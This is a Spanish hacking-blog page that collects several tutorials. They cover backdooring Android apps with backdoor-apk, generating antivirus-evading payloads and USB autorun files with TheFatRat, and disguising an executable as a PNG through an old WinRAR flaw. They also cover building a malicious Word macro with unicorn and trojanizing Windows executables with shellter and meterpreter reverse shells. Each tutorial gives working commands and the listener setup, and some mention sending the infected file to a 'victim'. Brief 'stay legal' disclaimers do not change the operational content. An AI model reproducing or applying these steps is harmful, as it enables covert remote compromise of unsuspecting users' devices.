Mostrando entradas con la etiqueta payload. Mostrar todas las entradas
Mostrando entradas con la etiqueta payload. Mostrar todas las entradas

viernes, 23 de diciembre de 2016

Infectar una app fácil

Hola amigos:

Hace unos posts, hablábamos de cómo inyectar un payload de android en una app, y lo hacíamos a mano.

En esta ocasión, vamos a presentar un script que nos lo automatizará. Este script se llama backdoor-apk y lo descargamos de https://github.com/dana-at-cp/backdoor-apk

Lo descomprimimos

unzip backdoor-apk-master.zip

Nos vamos al directorio /backdoor-apk-master/backdoor-apk

Copiamos la app víctima dentro de este mismo directorio.

Y Ejecutamos:

./backdoor-apk.sh <app_victima>

Ojo, es importante poner en el mismo directorio de backdoor-apk.sh la app objetivo, pues si no, nos dará un error.

Y completamos lo que nos piden (tipo de payload, IP local y puerto de destino).





La app infectada la podremos encontrar en el subdirectorio /original/dist/

Podemos iniciar metasploit preparadito para escuchar el payload con

msfconsole -r backdoor-apk.rc






Para borrar los archivos generados y poder volver a usar el script:

./cleanup.sh.

Y ahora toca disfrutar las vacaciones de Navidad. El próximo post será el 13 de Enero del 2017 (al menos, lo intentaré). Sin embargo, estamos en contacto en las redes sociales:
  • Facebook: facebook.com/Manugomez1977
  • Twitter: @manugomez1977
  • Instagram: @MANUGOMEZ1977
Me gustaría agradeceros vuestras visitas, vuestras dudas y vuestro apoyo que he tenido en estos 12 meses de vida del blog. Intentaré seguir posteando y, por supuesto, seguir aprendiendo (que me queda mucho todavía).

Que paséis una Feliz Navidad, un feliz 2017 y un expléndido Día de Reyes.

Felices fiestas y ¡¡¡ Happy Hacking !!!


viernes, 14 de octubre de 2016

Tutorial TheFatRat

Hola a todos.

Hoy vamos a presentar un script que va a ayudar a crearnos payloads con msvenom pero, que va a ser indetectable por muchos de los antivirus. Este script recibe el nombre de TheFatRat.

TheFatRat nos permitirá crear payloads tanto para windows como para android, además, lo podemos inyectar a un ejecutable.

En primer lugar, debemos instalar backdoor-factory (si no los tenemos ya instalados).

Apt-get install backdoor-factory

También deberemos instalar mingw32, para ello, si tenemos kali 2016, abrimos /etc/apt/sources.lists y añadimos

deb http://old.kali.org/kali sana main non-free contrib

Guardamos.

Escribimos en la terminal.

apt-get update

y ahora ponemos

apt-get install mingw32

Para los que tengan kali sana, basta con el apt-get install mingw32

El siguiente paso es descargarnos el script desde https://github.com/Screetsec/TheFatRat



descomprimimos donde queramos

unzip TheFatRat-master.zip

Damos permisos de ejecución

chmod +x fatrat

chmod +x powerfull.sh

Ejecutamos

./fatrat



Enter



Las salidas nos las guarda en el directorio output


Además, te crea los archivos para un autorun para usb/dvd, que sólo los tendrías que copiar en el usb/dvd víctima. Estos archivos se crearán en el directorio /autorun

Para cambiar los iconos para el autorun, los deberás copiar en el directorio /icons.

En la opción 1 crearemos un payload encriptado con msfvenom, y en ella tendremos para elegir.



En la opción 2 crearemos un backdoor para la arquitectura x86 de 32 bits para Windows, casi 100% indetectable. Eso sí, tarda mucho en generar el payload. Crea un programa en C con un payload (encriptado shikata ga nai) meterpreter reverse tcp. La salida constará de dos programas, Powerfull.exe y Powerfull-fud.exe.

La opción 3 crea un backdoor indetectable con AVOID v 1.2. Genera un payload con metasploit y nos da a elegir el tipo de binario.



El payload generado se guarda en una carpeta cuyo nombre coincidirá con el nombre que le hayamos puesto al payload. Los ficheros para el autorun estarán guardados en la carpeta autorun.

La opción 4 genera un payload y lo inyecta en otro archivo ejecutable, infectándolo, utilizando para ello backdoor factory. Nos ofrece unos cuantos payloads para inyectar.



Tras buscar los caves disponibles, nos pregunta cuál queremos usar para inyectar.



Los caves son huecos en el programa original en el cual se copiará el payload.

El ejecutable infectado se guardará en la carpeta /backdoored/output.

La opción 5 nos crea distintos listeners




Cada uno de los cuales nos da para elegir el payload que tendríamos que cargar.



Nos abrirá una terminal con el exploit multi handler de metasploit con la configuración con la que hemos configurado el listener.

La opción 6 nos abre metasploit.



La opción 7 usa searchsploit para buscar un exploit cualquiera dentro de nuestro equipo.



La opción 8 nos hace una limpieza de lo que hemos creado, borrando así los payloads.



La opción 9 nos abre la ayuda.



La opción 10 nos pone los créditos.



Happy Hacking.

Recordad que la idea de este blog es aprender, no enseñar a cometer ilegalidades.

Por favor, sígueme, además en las redes sociales:
  • Página de Facebook: Manugomez1977
  • twitter: @manugomez1977
  • instagram: @manugomez1977

Para poder seguir escribiendo posts, por favor, haz click en los anuncios.



viernes, 8 de julio de 2016

ocultar payload en una imagen

Vamos a ocultar nuestros payloads cambiando la extensión, gracias a una vulnerabilidad de winrar.

En primer lugar, descargamos e instalamos una versión antigua de winrar, yo lo haré con la versión 2.50





Lo instalamos normalmente, como si estuviésemos en windows.



El directorio / lo detectará como la unidad Z:

Seleccionamos el payload que queremos ocultar



Y lo comprimimos.



Instalamos hexedit

apt-get install hexedit



Editamos nuestro payload comprimido con hexedit

hexedit manugomez1977.rar




Veremos en el apartado de la derecha, el nombre del payload, manugomez1977.exe, pues lo cambiamos a la extensión .png:



Para pasar al lado derecho, hay que dar al tabulador.

CTRL+S para guardar.





Ya sabéis, haced las pruebas sólo en casa, sed legales.

Happy Hacking !!!!!!!!!!!!!


viernes, 27 de mayo de 2016

Infectado un documento de word

Descargamos unicorn desde https://github.com/trustedsec/unicorn



Descomprimimos en una carpeta, la que queramos.



con ./unicorn.py vemos la ayuda



Creamos el payload

./unicorn.py payload_a_crear_ LHOST LPORT macro





nos ha creado el archivo powershell_attack.txt donde estará el macro del payload.



vista → macro → ver macro







Añadimos el nombre de nuestra macro



crear



copiamos el codigo



Borramos la parte de arriba y cambiamos sub Auto_open() por sub AutoOpen()



Si queremos, podemos borrar las líneas señaladas



Yo las voy a borrar



Guardamos la macro, y lo pasamos a la víctima

Ejecutamos el listener

msfconsole -r unicorn.rc



En cuanto abra el archivo





viernes, 20 de mayo de 2016

Creando un payload indetectable e inyectándolo en un ejecutable con shellter

La aplicación shellter nos permite crear un payload indetectable y, por si eso fuese poco, lo va a inyectar en un archivo ejecutable.

Es una aplicación para windows, sin embargo, podremos usarla en nuestra distribución GNU/LINUX con el emulador wine.

Nos vamos a http://www.shellterproject.com , vamos a la sección de descargas y nos descargamos la última versión



Copiamos el archivo .zip en la carpeta que queramos y descomprimimos

unzip shellter.zip



Nos metemos en el directorio /shellter/ y ejecutamos

wine shellter.exe



Le doy a A, para que lo haga todo automático



Ponemos el programa que queremos troyanizar (el original nos lo guardará en la subcarpeta backups)



Voy a decir que active el modo Stealth (sigilo)



Elijo el payload, yo elegiré meterpreter_reverse_tcp, por tanto le digo que voy a utilizar un payload listado (L) y elijo el número del que yo quiero, que en este caso era el 1. Podría haber cogido uno personalizado si hubiese querido. Si, cuando configuremos, queremos poner un nombre de domnio en lugar de la dirección IP en LHOST, tendremos que elegir o bien meterpreter_reverse_http o meterpreter_reverse_https



Configuro LHOST y LPORT